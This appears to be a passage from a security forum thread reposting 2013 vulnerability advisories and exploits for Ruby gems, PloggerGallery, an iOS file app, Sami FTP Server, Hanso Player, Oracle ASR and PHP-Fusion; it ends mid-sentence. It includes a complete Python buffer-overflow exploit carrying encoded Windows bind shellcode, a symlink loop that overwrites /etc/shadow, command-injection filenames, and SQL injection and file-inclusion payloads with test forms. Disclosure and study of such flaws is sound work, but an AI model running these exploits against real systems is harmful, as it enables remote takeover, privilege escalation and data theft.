Ruby Gem Flash Tool version 0.6.0 suffers from a remote code execution vulnerability.

Click to expand...

Flash Tool 0.6.0 Remote code execution vulnerability

3/1/2013

http://rubygems.org/gems/flash_tool

https://github.com/milboj/flash_tool

If files downloaded contain shell characters it's possible to execute
code as the client user.

ie: flash_file;id>/tmp/o;.swf

./flash_tool-0.6.0/lib/flash_tool.rb

Lines:

26 command = "swfstrings #{file}"
27: output = #{command} 2>&1
88: command = "#{command} #{option} #{file}"
89: output = #{command} 2>&1

./flash_tool-0.6.0/lib/flash_tool/flash.rb
75: command = "#{command} #{args.join(" ")}"
76: output = #{command} 2>&1

@_larry0
Larry W. Cashdollar

Click to expand...

PloggerGallery 1.0 RC1 CSRF / XSS / SQL Injection
ID: 67686ba3b4103b69df379d95
Thread ID: 23966
Created: 2013-03-04T09:14:31+0000
Last Post: 2013-03-04T09:14:31+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

PloggerGallery version 1.0 RC1 suffers from cross site request forgery, cross site scripting, and remote SQL injection vulnerabilities.

Click to expand...

-------------------------------------------------------------------------

Software : PloggerGallery Version 1.0 RC1

Author : Saadat Ullah

Date : 2/3/13

Dork : Use Ur Mind

Software Link : http://www.plogger.org/download/

-------------------------------------------------------------------------
+---+[ Feedback.php Sqli ]+---+

Injectable On entries_per_pag Parameter In Feedback.php

[http://localhost/plogger/plog- admin/plog-f...per_page=5'](http://localhost/plogger/plog-admin/plog- feedback.php?entries_per_page=5')

p0c

if (isset($_REQUEST['entries_per_page'])) {
$_SESSION['entries_per_page'] = $_REQUEST['entries_per_page'];
} else if (!isset($_SESSION['entries_per_page'])) {
$_SESSION['entries_per_page'] = 20;
}
.
.
.
$limit = "LIMIT ".$first_item.", ".$_SESSION['entries_per_page'];
.
.

// Generate javascript init function for ajax editing
$query = "SELECT *, UNIX_TIMESTAMP(date) AS date from ".PLOGGER_TABLE_PREFIX."comments WHERE approved = ".$approved." ORDER BY id DESC ".$limit;
$result = run_query($query);

+---+[ CSRF In Admin Panel ]+---+

Plogger is Not using any parameter or security Token to Protect Against CSRF , So its Vuln To CSRF on ALl Locations Inside Admin Panel..

+---+[ XSS ]+---+

Their Are Multiple XSS in Plogger.Like Editing Comment inside Admin Panel.They Are Filtering The Comments For Normal User But Not For Admin.
And AS it is CSRF All Where SO We Can Edit AN Comment VIA CSRF and Change it With Any XSS Vector..

XSS
http://localhost/plogger/plog-admin/plog-feedback.php
Edit Comment With ANy XSS Vector OR JUSt do it VIA CSRF.

Uploading the File and enter name to any XSS Vector..

http://localhost/plogger/plog-admin/plog-upload.php

It Can Me Exploit IN Many Ways LIke
CSRF + SQLI inside Admin panel..which Is define above.

XSS In Edit Comment.CSRF + XSS

Edit Comment

Another XSS
[http://localhost/plogger/plog-admin/plog-m...it- picture&id=1](http://localhost/plogger/plog-admin/plog- manage.php?action=edit-picture&id=1)
Edit Caption To XSS Vector Inside Admin PAnel..
Again CSRF + XSS

Edit Image Properties

CSRF Admin Password Reset And XSS

plog-options.php

--------------------------------------------------------

Email - saadi_linux@rocketmail.com

GreeTz 2 All Pakistani Security Researchers

Home - http://security-geeks.blogspot.com

---------------------------------------------------------

Click to expand...

Ruby Gem ftpd-0.2.1
ID: 67686ba3b4103b69df379d96
Thread ID: 23965
Created: 2013-03-04T09:13:51+0000
Last Post: 2013-03-04T09:13:51+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Ruby Gem ftpd-0.2.1 suffers from a remote command execution.

Click to expand...

Code:Copy to clipboard

Remote command execution for Ruby Gem ftpd-0.2.1
2/28/2013

https://github.com/wconrad/ftpd
http://rubygems.org/gems/ftpd

"ftpd is a pure Ruby FTP server library. It supports implicit and explicit TLS, passive and active mode, and most of the commands specified in RFC 969. It an be used as part of a test fixture or embedded in a program."

The ls interface can have commands injected into it if option or filename contain the shell character; The example.rb server listens to localhost only which I used to test the ftp library. But if this gem is used normally it could be configured to listen on 0.0.0.0.

PoC:
for this to work the file must exist in the CWD.
ftp> root@ubuntu:/tmp# sh /tmp/connect-to-example-ftp-server.sh
Connected to localhost.
220 ftpd
Name (localhost:root):
331 Password required
Password:
230 Logged in
Remote system type is UNIX.
Using binary mode to transfer files.

* I created the filename adfasdf

ftp> ls adfasdf;id
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root root 0 Mar 2 05:52 adfasdf
uid=0(root) gid=0(root) groups=0(root)
226 Transfer complete
ftp>

./ftpd-0.2.1/lib/ftpd/disk_file_system.rb

The problem code is below

204 Ls interface used by List and NameList 205
206 module Ls
207

208       def ls(ftp_path, option)
209         path = expand_ftp_path(ftp_path)
210         dirname = File.dirname(path)
211         filename = File.basename(path)
212         command = [
213           'ls',
214           option,
215           filename, <--;cmd inject
216           '2>&1',
217         ].compact.join(' ')
218         if File.exists?(dirname) <- file has to exist to exec ls command
219           list = Dir.chdir(dirname) do
220             `{command}` <-- exec

Larry W. Cashdollar
@_larry0
http://otiose.dhs.org/
USB Disk And File Transfer 1.3.1
ID: 67686ba3b4103b69df379d97
Thread ID: 23964
Created: 2013-03-04T09:08:34+0000
Last Post: 2013-03-04T09:08:34+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

USB Disk and File Transfer version 1.3.1 suffers from a local file inclusion vulnerability.

Click to expand...

Code:Copy to clipboard

Title:
======
USB Disk & File Transfer v1.3.1 - File Include > Arbitrary File Upload Vulnerability


Date:
=====
2013-02-20


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=881


VL-ID:
=====
881


Common Vulnerability Scoring System:
====================================
5.3


Introduction:
=============
USB Disk & File Transfer allows to store, view and manage files on your iPhone, iPad or iPod touch. You can connect from any 
computer over the Wi-Fi network and transfer files. Access to your Dropbox, Box, Google Drive or SkyDrive account to upload, 
download files and more. Also, exchange files between iPhone, iPhone or iPod touch, using wifi or bluetooth.

USB Disk & file Transfer features document viewer, PDF reader, music player, video player, image viewer, text editor, file 
manager and supports ZIP and RAR.

Supported files: AVI, FLV, DIVX, ZIP, RAR, Rx, PDF, MP3, M4P, AAC, WAV, M4A, MPV, M4V, MP4, MOV, 3GP, DOC, DOCX, XLS, XLSX, PPSX, 
PPTX, PPS, PPT, RTF, PAGES, NUMBERS, KEY, JPG, JPEG, PNG, GIF, BMP, PCX, TIFF, TIF, BMPF, ICO, CUR, XBM, HTML, TXT, 
text files like: C, M, H,...

(Copy of the Homepage: https://itunes.apple.com/us/app/usb-disk-file-transfer/id516927225 )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a file include web vulnerability in the mobile USB Disk & File Transfer v1.3.1 app for the apple ipad & iphone.


Report-Timeline:
================
2013-02-20:  Public Disclosure


Status:
========
Published


Affected Products:
==================
Apple
Product: USB Disk & File Transfer 1.3.1


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A local file include web vulnerability via POST request method is detected in the mobile USB Disk & File Transfer v1.3.1 app for the apple ipad & iphone.
The vulnerability allows remote attackers via POST method to inject local app webserver folders to request unauthorized local webserver files.

The vulnerbility is located in the upload file module of the webserver (http://192.168.0.102:8080) when processing to load a manipulated 
name or path via POST. The execution of the injected path or name of the file request will occur when the attacker is processing to watch 
the file dir listing on the main index site.

Exploitation of the vulnerability requires no user interaction and can be done without privileged application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file or path include attack.

Vulnerable Application(s):
        [+] USB Disk & File Transfer v1.3.1 - ITunes or AppStore (Apple)

Vulnerable Module(s):
        [+] File Upload  (Web Server) [Remote]

Vulnerable Parameter(s):
        [+] name
        [+] path

Affected Module(s):
        [+] File Dir Index Listing


Proof of Concept:
=================
The local file include web vulnerability can be exploited by remote attackers without privileged application user account and 
also without required user interaction. For demonstration or reproduce ...

PoC:
http://192.168.0.102:8080/files/?_=[FILE OR PATH INCLUDE VULNERABILITY!]


Review: Index Listing - Name & Path

{"currentDir":"","files":[{"name":"[FILE INCLUDE VULNERABILITY!].png","tam":"27.3 KB","date":"18.02.13 23:18",
"type":"FILE","path":"[PATH INCLUDE VULNERABILITY!.png","id":0},{"name":"8765434.png","tam":"228.5 KB","date":"18.02.13 

23:23","type":"FILE","path":"8765434.png","id":1}]}


Manually steps to reproduce ...
1. Start the application or scan for a available application
2. Visit the web interfact by opening the following network ip 192.168.0.102:8080 in your browser
3. Start the your session tamper to manipulate the next POST request
4. Choose a file to upload and activate the tamper
5. Replace the path or name values with your own local app path or local file to request after sending
6. Send the data to the webserver via POST and watch the index listing to provoke the execution out of the file dir listing (name & path)
7. Successful reproduced!


Reference(s):
http://192.168.0.102:8080/


Risk:
=====
The security risk of the local file/path include web vulnerability via POST request method is estimated as high(+).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com     - www.vuln-lab.com             - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com   - support@vulnerability-lab.com          - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com   - forum.vulnerability-lab.com            - news.vulnerability-lab.com
Social:      twitter.com/#!/vuln_lab     - facebook.com/VulnerabilityLab          - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php  - vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

                 Copyright © 2013 | Vulnerability Laboratory



-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com
Sami FTP Server 2.0.1 Buffer Overflow
ID: 67686ba3b4103b69df379d98
Thread ID: 23963
Created: 2013-03-04T09:03:04+0000
Last Post: 2013-03-04T09:03:04+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Sami FTP Server version 2.0.1 LIST command buffer overflow exploit.

Click to expand...

Code:Copy to clipboard

#!/usr/bin/env python
 
# Exploit Title: Sami FTP LIST buffer overflow
# Date: 27 Feb 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.karjasoft.com/old.php
# Version: Sami FTP Server 2.0.1
# Tested on: Windows XP Pro SP1, English
#            Windows XP Pro SP2, English
#
# Description:
# A buffer overflow is triggered when a long LIST command is sent to the
# server and the user views the Log tab.
#
 
from socket import *
import struct, sys
 
IP = sys.argv[1]
 
# Windows bind shellcode from https://code.google.com/p/w32-bind-ngs-shellcode/
# Remove bad chars using msfencode:
# msfencode -b "\x00\x0a\x0d\x2f" -i w32-bind-ngs-shellcode.bin
# [*] x86/shikata_ga_nai succeeded with size 241 (iteration=1)
shellcode = (
"\xd9\xc7\xbe\x4d\xa5\xde\x30\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x36\x31\x77\x19\x03\x77\x19\x83\xc7\x04\xaf\x50\xef" +
"\xf9\x4b\x10\x61\xca\x18\x50\x8e\xa1\x68\x81\x05\xdb\x9c" +
"\x32\x67\x04\x17\x72\xa0\x0b\x3f\x0e\x23\xc2\x57\xc2\x9c" +
"\xd6\x95\x4a\x45\x4f\xae\xf9\xe1\xd8\xdf\xf7\x69\xaf\x39" +
"\xb2\x89\x99\x09\x94\x41\x50\x76\x31\xaa\xc9\x39\xef\x0c" +
"\x5f\xee\x5e\x0c\xb0\x3c\xc5\x5d\xc4\x61\x39\xe9\x86\x84" +
"\x39\xec\xdd\x3d\xf2\xce\x20\xa8\x53\x3e\xf1\x68\xd7\x74" +
"\x64\x6d\x09\xc0\xb0\xc1\xe1\x58\x95\xdd\x36\xea\x90\x2a" +
"\x7c\x2b\x2e\x3f\xdf\xb8\x9b\x9b\xe1\x57\x14\x54\xf5\xf6" +
"\xa0\xd1\xea\xf9\x5f\x6c\xfa\xf9\x9b\xff\x50\x7d\x9d\xf6" +
"\xd3\x76\x6f\x56\x18\xd4\x90\xb6\x77\x4f\xee\x08\x0b\x1a" +
"\x5e\x2a\x46\x1b\x70\x7f\x67\x34\xe4\xfe\xb7\x4b\xf8\x8f" +
"\xfb\xd9\x17\xd8\x56\x48\xe7\x36\x2d\xb3\x63\x4e\x1f\xe6" +
"\xde\xc6\x03\x6b\xbb\x36\x49\x0f\x67\x0e\xfa\x5b\xcc\xa8" +
"\xbb\x72\x12\x60\xc3\xb9\x31\xdf\x99\x93\x6b\x19\x5a\xfb" +
"\x84\xf2\x37\x51\xc2\xae\x48\x03\x08\xc5\xf1\x50\x39\x13" +
"\x02\x57\x45"
)
 
# EIP overwritten at offset 218
# JMP ESP at 10028283 C:\Program Files\PMSystem\Temp\tmp0.dll (Universal)
buf = "A" * 218 + struct.pack("<I", 0x10028283) + "\x90" * 37 + shellcode
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((IP,21))
print s.recv(1024)
 
s.send("USER superkojiman\r\n")
print s.recv(1024)
 
s.send("PASS letmein\r\n")
print s.recv(1024)
 
print "[+] sending payload of size", len(buf)
s.send("LIST " + buf + "\r\n")
print s.recv(1024)
 
s.close()
print "[+] sent. Connect to %s on port 28876" % (sys.argv[1],)
Hanso Player 2.1.0 Buffer Overflow
ID: 67686ba3b4103b69df379d99
Thread ID: 23962
Created: 2013-03-04T09:02:22+0000
Last Post: 2013-03-04T09:02:22+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Hanso Player version 2.1.0 suffers from a buffer overflow vulnerability when handling malformed .m3u files.

Click to expand...

Code:Copy to clipboard

#!/usr/bin/python
# Exploit Title:Buffer Overflow Vulnerability Hanso Player version 2.1.0
# Download link :www.hansotools.com/downloads/hanso-player-setup.exe
# Author: metacom
# RST
# version: 2.1.0
# Category: poc
# Tested on: windows 7 German 
 
f=open("fuzzzzz.m3u","w")
print "Creating expoit."
 
junk="\x41" * 5000
 
try:   
    f.write(junk)
    f.close()
    print "File created"
except:
    print "File cannot be created"
Oracle Auto Service Request File Clobber
ID: 67686ba3b4103b69df379d9a
Thread ID: 23957
Created: 2013-03-01T07:11:15+0000
Last Post: 2013-03-01T07:11:15+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Oracle Auto Service Request /tmp file clobbering vulnerability

[http://www.oracle.com/us/support/systems/p...est-155415.html](http://www.oracle.com/us/support/systems/premier/auto- service-request-155415.html)
http://docs.oracle.com/cd/E18476_01/doc.220/e18478/asr.htm

I noticed it creates files insecurely in /tmp using time stamps instead of mkstemp(). You can clobber root owned files if you know when around the time the root administrator will be using this utility.

[larry@oracle-os-lab01 tmp]$ for x in seq 500 999; do ln -s /etc/shadow /tmp/status1_020213003$x; done

root executes the asr command:

[root@oracle-os-lab01 bin]# ./asr

register OR register [-e asr-manager-relay-url]: register ASR
unregister : unregister ASR
show_reg_status : show ASR registration status
test_connection : test connection to Oracle
.
.
.

version : show asr script version
exit
help : display a list of commands
? : display a list of commands

asr>

/etc/shadow is now overwritten with the contents of /tmp/status1_020213003722
root # cat /etc/shadow

id State Bundle
68 ACTIVE com.sun.svc.asr.sw_4.3.1
Fragments=69, 70
69 RESOLVED com.sun.svc.asr.sw-frag_4.3.1
Master=68
70 RESOLVED com.sun.svc.asr.sw-rulesdefinitions_4.3.1
Master=68
72 ACTIVE com.sun.svc.asr.sw.http.AsrHttpReceiver_1.0.0
Fragments=73
73 RESOLVED com.sun.svc.asr.sw.http-frag_1.0.0
Master=72

67 ACTIVE com.sun.svc.ServiceActivation_4.3.1

Problem code:

The asr binary is a wrapper for a java class, the following snippet of code is where the error lies:

/sbin/sh:root@unix-solaris# grep -n tmp asr
409: file1=/tmp/status1_date '+%m%d%y%H%M%S'
410: file2=/tmp/status2_date '+%m%d%y%H%M%S'
411: file3=/tmp/status3_date '+%m%d%y%H%M%S'
557: file1=/tmp/status1_date '+%m%d%y%H%M%S'
681: file1=/tmp/status1_date '+%m%d%y%H%M%S'
691: file1=/tmp/status1_date '+%m%d%y%H%M%S'
706: file1=/tmp/parse_jetty_date '+%m%d%y%H%M%S'
710: file2=/tmp/parse_jetty_port_date '+%m%d%y%H%M%S'
797: file1=/tmp/status1_date '+%m%d%y%H%M%S'
987: hostnameTempFile=/tmp/status1_date '+%m%d%y%H%M%S'
988: tempFile=/tmp/status2_date '+%m%d%y%H%M%S'
989: tempHostname=/tmp/status3_date '+%m%d%y%H%M%S'
1303: file1=/tmp/status1_date '+%m%d%y%H%M%S'
1334: file1=/tmp/status1_date '+%m%d%y%H%M%S'
1343: file1=/tmp/status1_date '+%m%d%y%H%M%S'
1344: file2=/tmp/status2_date '+%m%d%y%H%M%S'
1345: file3=/tmp/status3_date '+%m%d%y%H%M%S'
1405: tempFile=/tmp/localsnmp_date '+%m%d%y%H%M%S'
2198: tempFile=/tmp/localsnmp_date '+%m%d%y%H%M%S'

This affects the software package on both Solaris and Linux.

Vendor notified about a month ago.

@_larry0
Larry W. Cashdollar
http://otiose.dhs.org/

Click to expand...

PHP-Fusion 7.02.05 XSS / LFI / SQL
ID: 67686ba3b4103b69df379d9b
Thread ID: 23956
Created: 2013-03-01T07:01:44+0000
Last Post: 2013-03-01T07:01:44+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Multiple Vulnerabilities in PHP-Fusion 7.02.05

Author: Janek Vind "waraxe"
Date: 27. February 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-97.html

Description of vulnerable software:

 
 PHP-Fusion is a light-weight open-source content management system (CMS)  
 written in PHP 5. It utilises a MySQL database to store your site content
and  
 includes a simple, comprehensive administration system. PHP-Fusion includes
the  
 most common features you would expect to see in many other CMS packages.  
 
 <http://www.php-fusion.co.uk/news.php>  
 <http://sourceforge.net/projects/php-fusion/>  
 
 Vulnerable is version 7.02.05 and possibly older versions.  
 
 New, patched version 7.02.06 available here:  
 
 <http://www.php-fusion.co.uk/news.php?readmore=569>  
 [http://www.php-
fusion.co.uk/downloads.php?...download_id=264](http://www.php-
fusion.co.uk/downloads.php?cat_id=23&download_id=264)  
 
 

###############################################################################  
 1\. Local File Inclusion in "maincore.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied POST parameter "user_theme"  
 Preconditions:  
 1\. Logged in as valid user  
 2\. "Allow users to change theme" option must be activated (it is by
default)  
 3\. PHP must be < 5.3.4 for null-byte attacks to work  
 
 PHP-Fusion users can edit their profile and by default there is possibility
to  
 change the theme. There is no sufficient sanitization of the POST parameter  
 "user_theme":  
 
 Php script "includes/user_fields/user_theme_include" line 41:  
 \------------------------[ source code start
]----------------------------------  
 } elseif ($profile_method == "validate_insert" || $profile_method ==
"validate_update") {  
 if ($settings['userthemes'] == 1 || iADMIN) {  
 // Get input data  
 if (isset($_POST['user_theme']) && $_POST['user_theme'] != "") {  
 // Set update or insert user data  
 $this->_setDBValue("user_theme", stripinput(trim($_POST['user_theme'])));  
 \------------------------[ source code end
]------------------------------------  
 
 We can see, that user-supplied parameter "user_theme" goes through the  
 function "stripinput()":  
 
 Php script "maincore.php" line 332:  
 \------------------------[ source code start
]----------------------------------  
 // Strip Input Function, prevents HTML in unwanted places  
 function stripinput($text) {  
 if (!is_array($text)) {  
 $text = stripslash(trim($text));  
 $text =
preg_replace("/(&)+(?=\\#([0-9]{2,3})![;\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)/i",
"&", $text);  
 $search = array("&", "\"", "'", "\\\", '\"', "\'", "<", ">", "&nbps;");  
 $replace = array("&", """, "'", "\", """, "'", "<", ">", " ");  
 $text = str_replace($search, $replace, $text);  
 } else {  
 foreach ($text as $key => $value) {  
 $text[$key] = stripinput($value);  
 }  
 }  
 return $text;  
 }  
 \------------------------[ source code end
]------------------------------------  
 
 This function works against XSS and SQL Injection attacks, but not against  
 file inclusion attacks. Attacker can submit user theme value as one below:  
 
 ../images/avatars/waraxe.jpg\0z  
 
 Directory traversal symbols "../" and null byte will pass through the  
 function "stripinput()" and whole string will be saved to the database.  
 All subsequent requests by attacker will use this malicious theme string  
 and as result, previously uploaded avatar picture with PHP payload gets  
 included and executed.  
 
 Most front-end scripts start with this:  
 \------------------------[ source code start
]----------------------------------  
 require_once "maincore.php";  
 require_once THEMES."templates/header.php";  
 \------------------------[ source code end
]------------------------------------  
 
 Php script "maincore.php" line 264:  
 \------------------------[ source code start
]----------------------------------  
 // Set theme  
 if (!theme_exists($userdata['user_theme'])) {  
 ...  
 // Check that site or user theme exists  
 function theme_exists($theme) {  
 global $settings;  
 ...  
 } elseif (file_exists(THEMES.$theme."/theme.php") &&
file_exists(THEMES.$theme."/styles.css")) {  
 define("THEME", THEMES.$theme."/");  
 \------------------------[ source code end
]------------------------------------  
 
 We can see, that malicious theme string from database will be used in theme
path  
 definition and later is used in "require_once".  
 
 This security vulnerability was tested by using Burp Proxy and exploitation  
 succeeded.  
 

###############################################################################  
 2\. Local File Inclusion in "administration/user_fields.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied GET parameter "enable"  
 Preconditions:  
 1\. Logged in as admin with user field administration privileges  
 2\. PHP must be < 5.3.4 for null-byte attacks to work  
 
 
 Php script "administration/user_fields.php" line 84:  
 \------------------------[ source code start
]----------------------------------  
 } elseif (isset($_GET['enable'])  
 &&
file_exists(INCLUDES."user_fields/".stripinput($_GET['enable'])."_include_var.php")  
 &&
file_exists(INCLUDES."user_fields/".stripinput($_GET['enable'])."_include.php")  
 ) {  
 $user_field_api_version = "1.00.00";  
 if
(file_exists(LOCALE.LOCALESET."user_fields/".stripinput($_GET['enable']).".php"))
{  
 include LOCALE.LOCALESET."user_fields/".stripinput($_GET['enable']).".php";  
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameter "aid" needs to be valid):  
 
 Upload avatar picture with PHP payload and then issue request:  
 

[http://localhost/phpfusion70205/administra...user_fields.php](http://localhost/phpfusion70205/administration/user_fields.php)?  
 aid=e017e24eb00e8ccf&enable=../../images/avatars/waraxe.jpg%00z  
 
 

###############################################################################  
 3\. SQL Injection in "includes/classes/Authenticate.class.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied HTTP cookie  
 Preconditions:  
 1\. magic_quotes_gpc=off  
 
 
 Php script "includes/classes/Authenticate.class.php" line 143:  
 \------------------------[ source code start
]----------------------------------  
 // Validate authenticated user  
 public static function validateAuthUser($userCookie = true) {  
 
 if (isset($_COOKIE[COOKIE_USER]) && $_COOKIE[COOKIE_USER] != "") {  
 $cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]);  
 
 if (count($cookieDataArr) == 3) {  
 list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr;  
 
 if ($cookieExpiration > time()) {  
 $result = dbquery(  
 "SELECT * FROM ".DB_USERS."  
 WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0'  
 LIMIT 1"  
 );  
 \------------------------[ source code end
]------------------------------------  
 
 We can see, that user-supplied cookie will be exploded to three parts and  
 first part, "userID" is used in SQL query without any sanitization, which  
 leads to SQL Injection vulnerability.  
 
 

###############################################################################  
 4\. SQL Injection in "downloads.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied GET parameter "orderby"  
 Preconditions:  
 1\. valid download category with at least one download  
 
 Php script "downloads.php" line 111:  
 \------------------------[ source code start
]----------------------------------  
 if (isset($_GET['orderby'])) {  
 $order_by = stripinput($_GET['orderby']);  
 ...  
 $result = dbquery(  
 "SELECT td.download_id, td.download_user, td.download_datestamp,  
 ...  
 ORDER BY ".($order_by == "" ? $cat_data['download_cat_sorting'] :
$order_by." ".$sort)."  
 \------------------------[ source code end
]------------------------------------  
 
 Tests:  
 

[http://localhost/phpfusion70205/downloads....&orderby=waraxe](http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=waraxe)  
 
 "Unknown column 'waraxe' in 'order clause'"  
 

[http://localhost/phpfusion70205/downloads....NION+SELECT+2))](http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=IF\(0,1,\(SELECT+1+UNION+SELECT+2\)\))  
 
 Result: error message "Subquery returns more than 1 row"  
 

[http://localhost/phpfusion70205/downloads....NION+SELECT+2))](http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=IF\(1,1,\(SELECT+1+UNION+SELECT+2\)\))  
 
 Result: normal page  
 
 

###############################################################################  
 5\. SQL Injection in "forum/postedit.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied POST parameter "delete_attach_*"  
 Preconditions:  
 1\. Logged in as user with forum posting privileges  
 2\. magic_quotes_gpc=off  
 
 
 Php script "forum/postedit.php" line 219:  
 \------------------------[ source code start
]----------------------------------  
 foreach ($_POST as $key=>$value){  
 if(!strstr($key, "delete_attach")) continue;  
 $key = str_replace("delete_attach_", "", $key);  
 $result = dbquery("SELECT * FROM ".DB_FORUM_ATTACHMENTS." WHERE
post_id='".$_GET['post_id']."' and attach_id='$key'");  
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameters "forum_id", "thread_id" and "post_id" must be valid):  
 
 \-------------------------[ test code start
]-----------------------------------  
 <html><body><center>  
 <form
action="http://localhost/phpfusion70205/forum/post.php?action=edit&forum_id=2&thread_id=1&post_id=1"
method="post">  
 <input type="hidden" name="savechanges" value="1">  
 <input type="hidden" name="message" value="Testing">  
 <input type="hidden" name="delete_attach_war'axe" value="1">  
 <input type="submit" value="Test">  
 </form>  
 </center></body></html>  
 \--------------------------[ test code end
]------------------------------------  
 
 Result (302 redirect makes it difficult to see SQL error, Burp Proxy will
help):  
 
 You have an error in your SQL syntax; check the manual that corresponds to
your  
 MySQL server version for the right syntax to use near 'axe'' at line 1  
 
 

###############################################################################  
 6\. SQL Injection in "forum/postnewthread.php"  

###############################################################################  
 
 Reason: uninitialized variable "$poll_opts"  
 Attack vector: user-supplied parameter "poll_opts"  
 Preconditions:  
 1\. logged in as user with poll creation privileges  
 2\. available forum with poll creation abilities  
 3\. magic_quotes_gpc=off  
 4\. register_globals=on  
 
 
 Php script "forum/postnewthread.php" line 126:  
 \------------------------[ source code start
]----------------------------------  
 foreach ($poll_opts as $poll_option) {  
 $result = dbquery("INSERT INTO ".DB_FORUM_POLL_OPTIONS." (thread_id,  
 forum_poll_option_id, forum_poll_option_text, forum_poll_option_votes)  
 VALUES('".$thread_id."', '".$i."', '".$poll_option."', '0')");  
 $i++;  
 }  
 \------------------------[ source code end
]------------------------------------  
 
 Test (parameter "forum_id" must be valid):  
 
 \-------------------------[ test code start
]-----------------------------------  
 <html><body><center>  
 <form
action="http://localhost/phpfusion70205/forum/post.php?action=newthread&forum_id=2"
method="post">  
 <input type="hidden" name="subject" value="Test subject">  
 <input type="hidden" name="message" value="Test message">  
 <input type="hidden" name="poll_title" value="Test poll">  
 <input type="hidden" name="poll_opts[]" value="war'axe">  
 <input type="hidden" name="postnewthread" value="1">  
 <input type="submit" value="Test">  
 </form>  
 </center></body></html>  
 \--------------------------[ test code end
]------------------------------------  
 
 Result (302 redirect makes it difficult to see SQL error, Burp Proxy will
help):  
 
 You have an error in your SQL syntax; check the manual that corresponds to
your  
 MySQL server version for the right syntax to use near 'axe', '0')' at line
1  
 
 
 

###############################################################################  
 7\. SQL Injection in "administration/settings_messages.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied POST parameters "pm_email_notify",
"pm_save_sent",  
 "pm_inbox", "pm_sentbox", "pm_savebox"  
 Preconditions:  
 1\. logged in as admin with private message settings change privileges  
 2\. magic_quotes_gpc=off  
 
 
 Php script "administration/settings_messages.php" line 38:  
 \------------------------[ source code start
]----------------------------------  
 if (isset($_POST['saveoptions'])) {  
 $error = 0;  
 dbquery("UPDATE ".DB_MESSAGES_OPTIONS." SET  
 pm_email_notify = '".$_POST['pm_email_notify']."',  
 pm_save_sent = '".$_POST['pm_save_sent']."',  
 pm_inbox = '".$_POST['pm_inbox']."',  
 pm_sentbox = '".$_POST['pm_sentbox']."',  
 pm_savebox = '".$_POST['pm_savebox']."'  
 WHERE user_id='0'"  
 );  
 \------------------------[ source code end
]------------------------------------  
 
 

###############################################################################  
 8\. SQL Injection in "administration/settings_photo.php"  

###############################################################################  
 
 Reason: insufficient sanitization of user-supplied data  
 Attack vector: user-supplied POST parameters "thumb_compression",  
 "photo_watermark_text_color1", "photo_watermark_text_color2",
"photo_watermark_text_color3"  
 Preconditions:  
 1\. logged in as admin with photo gallery settings change privileges  
 2\. magic_quotes_gpc=off  
 
 
 Php script "administration/settings_photo.php" line 100:  
 \------------------------[ source code start
]----------------------------------  
 $result = dbquery("UPDATE ".DB_SETTINGS." SET
settings_value='".$_POST['thumb_compression']."'  
 WHERE settings_name='thumb_compression'");  
 ...  
 $result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value=  
